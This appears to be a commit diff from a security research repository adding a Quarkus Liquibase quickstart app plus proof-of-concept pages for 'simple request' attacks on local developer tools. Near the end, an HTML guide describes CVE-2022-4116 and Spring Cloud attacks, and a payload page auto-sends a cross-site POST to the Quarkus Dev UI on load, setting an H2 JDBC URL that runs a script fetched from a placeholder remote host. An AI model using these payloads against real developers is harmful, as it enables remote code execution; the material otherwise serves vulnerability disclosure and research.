56	+	# - CONTAINER_CORE_LIMIT: A calculated core limit as described in
57	+	# https://www.kernel.org/doc/Documentation/scheduler/sched-bwc.txt. (example: "2")
58	+	# - CONTAINER_MAX_MEMORY: Memory limit given to the container (example: "1024").
59	+	# - GC_MIN_HEAP_FREE_RATIO: Minimum percentage of heap free after GC to avoid expansion.
60	+	# (example: "20")
61	+	# - GC_MAX_HEAP_FREE_RATIO: Maximum percentage of heap free after GC to avoid shrinking.
62	+	# (example: "40")
63	+	# - GC_TIME_RATIO: Specifies the ratio of the time spent outside the garbage collection.
64	+	# (example: "4")
65	+	# - GC_ADAPTIVE_SIZE_POLICY_WEIGHT: The weighting given to the current GC time versus
66	+	# previous GC times. (example: "90")
67	+	# - GC_METASPACE_SIZE: The initial metaspace size. (example: "20")
68	+	# - GC_MAX_METASPACE_SIZE: The maximum metaspace size. (example: "100")
69	+	# - GC_CONTAINER_OPTIONS: Specify Java GC to use. The value of this variable should
70	+	# contain the necessary JRE command-line options to specify the required GC, which
71	+	# will override the default of `-XX:+UseParallelGC` (example: -XX:+UseG1GC).
72	+	# - HTTPS_PROXY: The location of the https proxy. (example: "[email protected]:8080")
73	+	# - HTTP_PROXY: The location of the http proxy. (example: "[email protected]:8080")
74	+	# - NO_PROXY: A comma separated lists of hosts, IP addresses or domains that can be
75	+	# accessed directly. (example: "foo.example.com,bar.example.com")
76	+	#
77	+	###
78	+	FROM registry.access.redhat.com/ubi8/openjdk-11:1.14
79	+
80	+	ENV LANGUAGE='en_US:en'
81	+
82	+
83	+	# We make four distinct layers so if there are application changes the library layers can be re-used
84	+	COPY --chown=185 target/quarkus-app/lib/ /deployments/lib/
85	+	COPY --chown=185 target/quarkus-app/*.jar /deployments/
86	+	COPY --chown=185 target/quarkus-app/app/ /deployments/app/
87	+	COPY --chown=185 target/quarkus-app/quarkus/ /deployments/quarkus/
88	+
89	+	EXPOSE 8080
90	+	USER 185
91	+	ENV AB_JOLOKIA_OFF=""
92	+	ENV JAVA_OPTS="-Dquarkus.http.host=0.0.0.0 -Djava.util.logging.manager=org.jboss.logmanager.LogManager"
93	+	ENV JAVA_APP_JAR="/deployments/quarkus-run.jar"
94	+
95	+

■ ■ ■ ■ ■ ■

liquibase-quickstart/src/main/docker/Dockerfile.legacy-jar

1	+	####
2	+	# This Dockerfile is used in order to build a container that runs the Quarkus application in JVM mode
3	+	#
4	+	# Before building the container image run:
5	+	#
6	+	# ./mvnw package -Dquarkus.package.type=legacy-jar
7	+	#
8	+	# Then, build the image with:
9	+	#
10	+	# docker build -f src/main/docker/Dockerfile.legacy-jar -t quarkus/liquibase-quickstart-legacy-jar .
11	+	#
12	+	# Then run the container using:
13	+	#
14	+	# docker run -i --rm -p 8080:8080 quarkus/liquibase-quickstart-legacy-jar
15	+	#
16	+	# If you want to include the debug port into your docker image
17	+	# you will have to expose the debug port (default 5005) like this : EXPOSE 8080 5005
18	+	#
19	+	# Then run the container using :
20	+	#
21	+	# docker run -i --rm -p 8080:8080 quarkus/liquibase-quickstart-legacy-jar
22	+	#
23	+	# This image uses the `run-java.sh` script to run the application.
24	+	# This scripts computes the command line to execute your Java application, and
25	+	# includes memory/GC tuning.
26	+	# You can configure the behavior using the following environment properties:
27	+	# - JAVA_OPTS: JVM options passed to the `java` command (example: "-verbose:class")
28	+	# - JAVA_OPTS_APPEND: User specified Java options to be appended to generated options
29	+	# in JAVA_OPTS (example: "-Dsome.property=foo")
30	+	# - JAVA_MAX_MEM_RATIO: Is used when no `-Xmx` option is given in JAVA_OPTS. This is
31	+	# used to calculate a default maximal heap memory based on a containers restriction.
32	+	# If used in a container without any memory constraints for the container then this
33	+	# option has no effect. If there is a memory constraint then `-Xmx` is set to a ratio
34	+	# of the container available memory as set here. The default is `50` which means 50%
35	+	# of the available memory is used as an upper boundary. You can skip this mechanism by
36	+	# setting this value to `0` in which case no `-Xmx` option is added.
37	+	# - JAVA_INITIAL_MEM_RATIO: Is used when no `-Xms` option is given in JAVA_OPTS. This
38	+	# is used to calculate a default initial heap memory based on the maximum heap memory.
39	+	# If used in a container without any memory constraints for the container then this
40	+	# option has no effect. If there is a memory constraint then `-Xms` is set to a ratio
41	+	# of the `-Xmx` memory as set here. The default is `25` which means 25% of the `-Xmx`
42	+	# is used as the initial heap size. You can skip this mechanism by setting this value
43	+	# to `0` in which case no `-Xms` option is added (example: "25")
44	+	# - JAVA_MAX_INITIAL_MEM: Is used when no `-Xms` option is given in JAVA_OPTS.
45	+	# This is used to calculate the maximum value of the initial heap memory. If used in
46	+	# a container without any memory constraints for the container then this option has
47	+	# no effect. If there is a memory constraint then `-Xms` is limited to the value set
48	+	# here. The default is 4096MB which means the calculated value of `-Xms` never will
49	+	# be greater than 4096MB. The value of this variable is expressed in MB (example: "4096")
50	+	# - JAVA_DIAGNOSTICS: Set this to get some diagnostics information to standard output
51	+	# when things are happening. This option, if set to true, will set
52	+	# `-XX:+UnlockDiagnosticVMOptions`. Disabled by default (example: "true").
53	+	# - JAVA_DEBUG: If set remote debugging will be switched on. Disabled by default (example:
54	+	# true").
55	+	# - JAVA_DEBUG_PORT: Port used for remote debugging. Defaults to 5005 (example: "8787").
56	+	# - CONTAINER_CORE_LIMIT: A calculated core limit as described in
57	+	# https://www.kernel.org/doc/Documentation/scheduler/sched-bwc.txt. (example: "2")
58	+	# - CONTAINER_MAX_MEMORY: Memory limit given to the container (example: "1024").
59	+	# - GC_MIN_HEAP_FREE_RATIO: Minimum percentage of heap free after GC to avoid expansion.
60	+	# (example: "20")
61	+	# - GC_MAX_HEAP_FREE_RATIO: Maximum percentage of heap free after GC to avoid shrinking.
62	+	# (example: "40")
63	+	# - GC_TIME_RATIO: Specifies the ratio of the time spent outside the garbage collection.
64	+	# (example: "4")
65	+	# - GC_ADAPTIVE_SIZE_POLICY_WEIGHT: The weighting given to the current GC time versus
66	+	# previous GC times. (example: "90")
67	+	# - GC_METASPACE_SIZE: The initial metaspace size. (example: "20")
68	+	# - GC_MAX_METASPACE_SIZE: The maximum metaspace size. (example: "100")
69	+	# - GC_CONTAINER_OPTIONS: Specify Java GC to use. The value of this variable should
70	+	# contain the necessary JRE command-line options to specify the required GC, which
71	+	# will override the default of `-XX:+UseParallelGC` (example: -XX:+UseG1GC).
72	+	# - HTTPS_PROXY: The location of the https proxy. (example: "[email protected]:8080")
73	+	# - HTTP_PROXY: The location of the http proxy. (example: "[email protected]:8080")
74	+	# - NO_PROXY: A comma separated lists of hosts, IP addresses or domains that can be
75	+	# accessed directly. (example: "foo.example.com,bar.example.com")
76	+	#
77	+	###
78	+	FROM registry.access.redhat.com/ubi8/openjdk-11:1.14
79	+
80	+	ENV LANGUAGE='en_US:en'
81	+
82	+
83	+	COPY target/lib/* /deployments/lib/
84	+	COPY target/*-runner.jar /deployments/quarkus-run.jar
85	+
86	+	EXPOSE 8080
87	+	USER 185
88	+	ENV AB_JOLOKIA_OFF=""
89	+	ENV JAVA_OPTS="-Dquarkus.http.host=0.0.0.0 -Djava.util.logging.manager=org.jboss.logmanager.LogManager"
90	+	ENV JAVA_APP_JAR="/deployments/quarkus-run.jar"
91	+

■ ■ ■ ■ ■ ■

liquibase-quickstart/src/main/docker/Dockerfile.native

1	+	####
2	+	# This Dockerfile is used in order to build a container that runs the Quarkus application in native (no JVM) mode.
3	+	#
4	+	# Before building the container image run:
5	+	#
6	+	# ./mvnw package -Pnative
7	+	#
8	+	# Then, build the image with:
9	+	#
10	+	# docker build -f src/main/docker/Dockerfile.native -t quarkus/liquibase-quickstart .
11	+	#
12	+	# Then run the container using:
13	+	#
14	+	# docker run -i --rm -p 8080:8080 quarkus/liquibase-quickstart
15	+	#
16	+	###
17	+	FROM registry.access.redhat.com/ubi8/ubi-minimal:8.6
18	+	WORKDIR /work/
19	+	RUN chown 1001 /work \
20	+	&& chmod "g+rwX" /work \
21	+	&& chown 1001:root /work
22	+	COPY --chown=1001:root target/*-runner /work/application
23	+
24	+	EXPOSE 8080
25	+	USER 1001
26	+
27	+	CMD ["./application", "-Dquarkus.http.host=0.0.0.0"]
28	+

■ ■ ■ ■ ■ ■

liquibase-quickstart/src/main/docker/Dockerfile.native-micro

1	+	####
2	+	# This Dockerfile is used in order to build a container that runs the Quarkus application in native (no JVM) mode.
3	+	# It uses a micro base image, tuned for Quarkus native executables.
4	+	# It reduces the size of the resulting container image.
5	+	# Check https://quarkus.io/guides/quarkus-runtime-base-image for further information about this image.
6	+	#
7	+	# Before building the container image run:
8	+	#
9	+	# ./mvnw package -Pnative
10	+	#
11	+	# Then, build the image with:
12	+	#
13	+	# docker build -f src/main/docker/Dockerfile.native-micro -t quarkus/liquibase-quickstart .
14	+	#
15	+	# Then run the container using:
16	+	#
17	+	# docker run -i --rm -p 8080:8080 quarkus/liquibase-quickstart
18	+	#
19	+	###
20	+	FROM quay.io/quarkus/quarkus-micro-image:2.0
21	+	WORKDIR /work/
22	+	RUN chown 1001 /work \
23	+	&& chmod "g+rwX" /work \
24	+	&& chown 1001:root /work
25	+	COPY --chown=1001:root target/*-runner /work/application
26	+
27	+	EXPOSE 8080
28	+	USER 1001
29	+
30	+	CMD ["./application", "-Dquarkus.http.host=0.0.0.0"]
31	+

■ ■ ■ ■ ■ ■

liquibase-quickstart/src/main/java/org/acme/liquibase/MigrationResource.java

1	+	package org.acme.liquibase;
2	+
3	+	import liquibase.change.CheckSum;
4	+	import liquibase.changelog.ChangeSetStatus;
5	+
6	+	import javax.enterprise.context.ApplicationScoped;
7	+	import javax.inject.Inject;
8	+	import javax.ws.rs.GET;
9	+	import javax.ws.rs.Path;
10	+	import javax.ws.rs.Produces;
11	+	import java.util.Date;
12	+	import java.util.HashSet;
13	+	import java.util.Set;
14	+
15	+	@Path("migration")
16	+	@ApplicationScoped
17	+	public class MigrationResource {
18	+	@Inject
19	+	MigrationService migrationService;
20	+
21	+	@GET
22	+	@Path("/status")
23	+	@Produces("application/json")
24	+	public Set<SimpleChangeSetStatus> migrationStatus() throws Exception {
25	+	Set<SimpleChangeSetStatus> result = new HashSet<>();
26	+	for (ChangeSetStatus changeSet : migrationService.checkMigration()) {
27	+	result.add(new SimpleChangeSetStatus(changeSet));
28	+	}
29	+	return result;
30	+	}
31	+
32	+	public static class SimpleChangeSetStatus {
33	+	public String description;
34	+	public String comments;
35	+	public boolean willRun;
36	+	public Date dateLastExecuted;
37	+	public boolean previouslyRan;
38	+	public CheckSum currentCheckSum;
39	+	public CheckSum storedCheckSum;
40	+
41	+	public SimpleChangeSetStatus(ChangeSetStatus changeSet) {
42	+	this.description = changeSet.getDescription();
43	+	this.comments = changeSet.getComments();
44	+	this.willRun = changeSet.getWillRun();
45	+	this.dateLastExecuted = changeSet.getDateLastExecuted();
46	+	this.previouslyRan = changeSet.getPreviouslyRan();
47	+	this.currentCheckSum = changeSet.getCurrentCheckSum();
48	+	this.storedCheckSum = changeSet.getStoredCheckSum();
49	+	}
50	+	}
51	+	}
52	+

■ ■ ■ ■ ■ ■

liquibase-quickstart/src/main/java/org/acme/liquibase/MigrationService.java

1	+	package org.acme.liquibase;
2	+
3	+	import io.quarkus.liquibase.LiquibaseFactory;
4	+	import liquibase.Liquibase;
5	+	import liquibase.changelog.ChangeSetStatus;
6	+	import javax.enterprise.context.ApplicationScoped;
7	+	import javax.inject.Inject;
8	+	import java.util.List;
9	+
10	+	@ApplicationScoped
11	+	public class MigrationService {
12	+	// You can Inject the object if you want to use it manually
13	+	@Inject
14	+	LiquibaseFactory liquibaseFactory;
15	+
16	+	public List<ChangeSetStatus> checkMigration() throws Exception {
17	+	// Use the liquibase instance manually
18	+	try (Liquibase liquibase = liquibaseFactory.createLiquibase()) {
19	+	liquibase.dropAll();
20	+	liquibase.validate();
21	+	liquibase.update(liquibaseFactory.createContexts(), liquibaseFactory.createLabels());
22	+	// Get the list of liquibase change set statuses
23	+	return liquibase.getChangeSetStatuses(liquibaseFactory.createContexts(), liquibaseFactory.createLabels());
24	+	}
25	+	}
26	+	}

■ ■ ■ ■ ■ ■

liquibase-quickstart/src/main/resources/application.properties

1	+	# configure your datasource
2	+	%prod.quarkus.datasource.db-kind=h2
3	+	%prod.quarkus.datasource.username=sa
4	+	%prod.quarkus.datasource.password=sa
5	+	%prod.quarkus.datasource.jdbc.url=jdbc:h2:tcp://localhost/mem:test_quarkus;DB_CLOSE_DELAY=-1
6	+
7	+	# Liquibase minimal config properties
8	+	quarkus.liquibase.migrate-at-start=true
9	+
10	+	# Liquibase optional config properties for default datasource
11	+	# quarkus.liquibase.change-log=db/changeLog.xml
12	+	# quarkus.liquibase.validate-on-migrate=true
13	+	# quarkus.liquibase.clean-at-start=false
14	+	# quarkus.liquibase.database-change-log-lock-table-name=DATABASECHANGELOGLOCK
15	+	# quarkus.liquibase.database-change-log-table-name=DATABASECHANGELOG
16	+	# quarkus.liquibase.contexts=Context1,Context2
17	+	# quarkus.liquibase.labels=Label1,Label2
18	+	# quarkus.liquibase.default-catalog-name=DefaultCatalog
19	+	# quarkus.liquibase.default-schema-name=DefaultSchema
20	+	# quarkus.liquibase.liquibase-catalog-name=liquibaseCatalog
21	+	# quarkus.liquibase.liquibase-schema-name=liquibaseSchema
22	+	# quarkus.liquibase.liquibase-tablespace-name=liquibaseSpace
23	+
24	+	# Liquibase configuration for additional datasources
25	+	# quarkus.liquibase.<source>.schemas=USERS_TEST_SCHEMA
26	+	# quarkus.liquibase.<source>.change-log=db/users.xml
27	+	# quarkus.liquibase.<source>.migrate-at-start=true
28	+

■ ■ ■ ■ ■ ■

liquibase-quickstart/src/main/resources/db/changeLog.xml

1	+	<?xml version="1.1" encoding="UTF-8" standalone="no"?>
2	+	<databaseChangeLog xmlns="http://www.liquibase.org/xml/ns/dbchangelog"
3	+	xmlns:ext="http://www.liquibase.org/xml/ns/dbchangelog-ext"
4	+	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
5	+	xsi:schemaLocation="http://www.liquibase.org/xml/ns/dbchangelog-ext
6	+	http://www.liquibase.org/xml/ns/dbchangelog/dbchangelog-ext.xsd
7	+	http://www.liquibase.org/xml/ns/dbchangelog
8	+	http://www.liquibase.org/xml/ns/dbchangelog/dbchangelog-4.13.xsd">
9	+
10	+	<changeSet author="quarkus" id="1">
11	+	<createTable tableName="quarkus">
12	+	<column name="id" type="VARCHAR(255)">
13	+	<constraints nullable="false"/>
14	+	</column>
15	+	<column name="name" type="VARCHAR(255)"/>
16	+	</createTable>
17	+	</changeSet>
18	+	</databaseChangeLog>

■ ■ ■ ■ ■ ■

liquibase-quickstart/src/test/java/org/acme/liquibase/MigrationEndpointIT.java

1	+	package org.acme.liquibase;
2	+
3	+	import io.quarkus.test.junit.QuarkusIntegrationTest;
4	+
5	+	@QuarkusIntegrationTest
6	+	public class MigrationEndpointIT extends MigrationEndpointTest {
7	+
8	+	// Execute the same tests but in native mode.
9	+	}

■ ■ ■ ■ ■ ■

liquibase-quickstart/src/test/java/org/acme/liquibase/MigrationEndpointTest.java

1	+	package org.acme.liquibase;
2	+
3	+	import io.quarkus.test.junit.QuarkusTest;
4	+	import org.junit.jupiter.api.Test;
5	+
6	+	import static io.restassured.RestAssured.given;
7	+	import static org.hamcrest.CoreMatchers.containsString;
8	+
9	+	@QuarkusTest
10	+	public class MigrationEndpointTest {
11	+
12	+	@Test
13	+	public void testListAllChangeStatus() {
14	+	given()
15	+	.when().get("/migration/status")
16	+	.then()
17	+	.statusCode(200)
18	+	.body(containsString("previouslyRan"),
19	+	containsString("storedCheckSum"),
20	+	containsString("willRun"));
21	+	}
22	+
23	+	}
24	+

■ ■ ■ ■ ■ ■ ■

webserver/public-html/index.html

		skipped 3 lines
4	4		<body>
5	5		<center><h1>Simple Request Vulnerabilities in the Developer Environment</h1></center>
6	6		Following the below guide and clicking on the payload link will trigger a RCE on your local machine. In all but one instance this will open the Calculator app. ( assuming you are using a Mac. ) Or for Confluence create a file in /tmp.</br></br>
	7	+	<h3> Quarkus RCE CVE-2022-4116 </h3></br>
	8	+	This vulnerability allows utilises the Dev UI which is available when the application is in Developer Mode. The Dev UI has the ability to modify application properties. Up until 2.14.2 it was possible to generate a simple request that modifies those properties and leverage that to execute arbitrary code in the target's JVM.
	9	+	</br>
	10	+	This is done by first setting the quarkus app's jdbc url to : </br>
	11	+	<i>
	12	+	quarkus.datasource.jdbc.url=jdbc:h2:mem:testdb;INIT=runscript from 'https://github.bla:8081/exec.sql'</i></br>
	13	+	Then restarting the application so the change takes effect via the /restart actuator. </br>
	14	+	On startup, the Spring App will create a in memory H2 database and call out to http://somerandomsite.bla:8081/exec.sql to download the sql and execute it. This leverages a feature of the in memory H2 database to compile and execute a Java method which in turn opens the Calculator app.
	15	+	<p><b>To Run : </b></br><i>
	16	+	git clone https://github.com/JoeBeeton/simple-request-attacks.git</br>
	17	+	cd Simple-Requests/spring-cloud-v1-vuln</br>
	18	+	mvn spring-boot:run</br>
	19	+	</i>
	20	+	<a href="springcloud.html">Payload Link</a></p>
	21	+	</br>
7	22		<h3> Spring Cloud </h3>
8	23		This works because Spring Cloud V1 allowed the /env actuator to modify properties with a POST request with content type application/x-www-form-urlencoded. Allowing for a Simple Request attack.</br>
9	24		This is done by first setting the spring app's jdbc url to : </br>
		skipped 2 lines
12	27		Then restarting the application so the change takes effect via the /restart actuator. </br>
13	28		On startup, the Spring App will create a in memory H2 database and call out to http://somerandomsite.bla:8081/exec.sql to download the sql and execute it. This leverages a feature of the in memory H2 database to compile and execute a Java method which in turn opens the Calculator app.
14	29		<p><b>To Run : </b></br><i>
15		-	git clone xxx</br>
	30	+	git clone https://github.com/JoeBeeton/simple-request-attacks.git</br>
16	31		cd Simple-Requests/spring-cloud-v1-vuln</br>
17	32		mvn spring-boot:run</br>
18	33		</i>
		skipped 2 lines
21	36		<h3>Togglz</h3>
22	37		This relies on the Togglz CSRF Vulnerability <a href="https://github.com/advisories/GHSA-697v-pxg3-j262">CVE-2020-28191</a>.</br> A Simple Post Request can be made to hit localhost which modifies the feature toggle to execute arbitrary Java code via the Nashorn engine during toggle evaluation.
23	38		<p><b>To Run : </b></br><i>
	39	+	git clone https://github.com/JoeBeeton/simple-request-attacks.git</br>
24	40		cd Simple-Requests/spring-boot-hello-world-feature-enum</br>
25	41		mvn spring-boot:run</br>
26	42		</i>
		skipped 3 lines
30	46		<h3>Spring Actuator Shutdown</h3>
31	47		In Spring V2 actuators require a content-type of application/json. But when a post request does not have a message body, like with the /shutdown actuator, if no content-type is specified the actuator can still be triggered. So a Simple Post Request can be use to shutdown a Spring Boot app bound to localhost.
32	48		<p><b>To Run : </b></br><i>
	49	+	git clone https://github.com/JoeBeeton/simple-request-attacks.git</br>
33	50		cd Simple-Requests/spring-boot-hello-world-feature-enum</br>
34	51		mvn spring-boot:run</br>
35	52		</i>
		skipped 18 lines

■ ■ ■ ■ ■ ■

webserver/public-html/quarkus-liquibase-h2.html

1	+	<html>
2	+	<head>
3	+	</head>
4	+	<body onload="execQuark()">
5	+	This contains the payload for the Quarkus liquibase H2 RCE. If all goes well you should see the calculator app open.
6	+	</body>
7	+
8	+	<script>
9	+	function execQuark() {
10	+
11	+	var xhr = new XMLHttpRequest();
12	+	xhr.addEventListener("readystatechange", function() {
13	+	if(this.readyState === 4) {
14	+	console.log(this.responseText);
15	+
16	+	}
17	+	});
18	+
19	+	xhr.open("POST", "http://localhost:8080/q/dev/io.quarkus.quarkus-vertx-http/config");
20	+	xhr.onprogress = function () {
21	+	console.log('LOADING: ', xhr.status);
22	+	};
23	+
24	+	xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
25	+	xhr.send("action=updateProperty&name=quarkus.datasource.jdbc.url&value=jdbc%3Ah2%3Amem%3Atestdb%3BINIT%3Drunscript+from+'http%3A%2F%2Fsomerandomsite.bla%3A8081%2Fexec.sql'");
26	+
27	+	}
28	+	</script>
29	+
30	+	</html>
31	+

added quarkus poc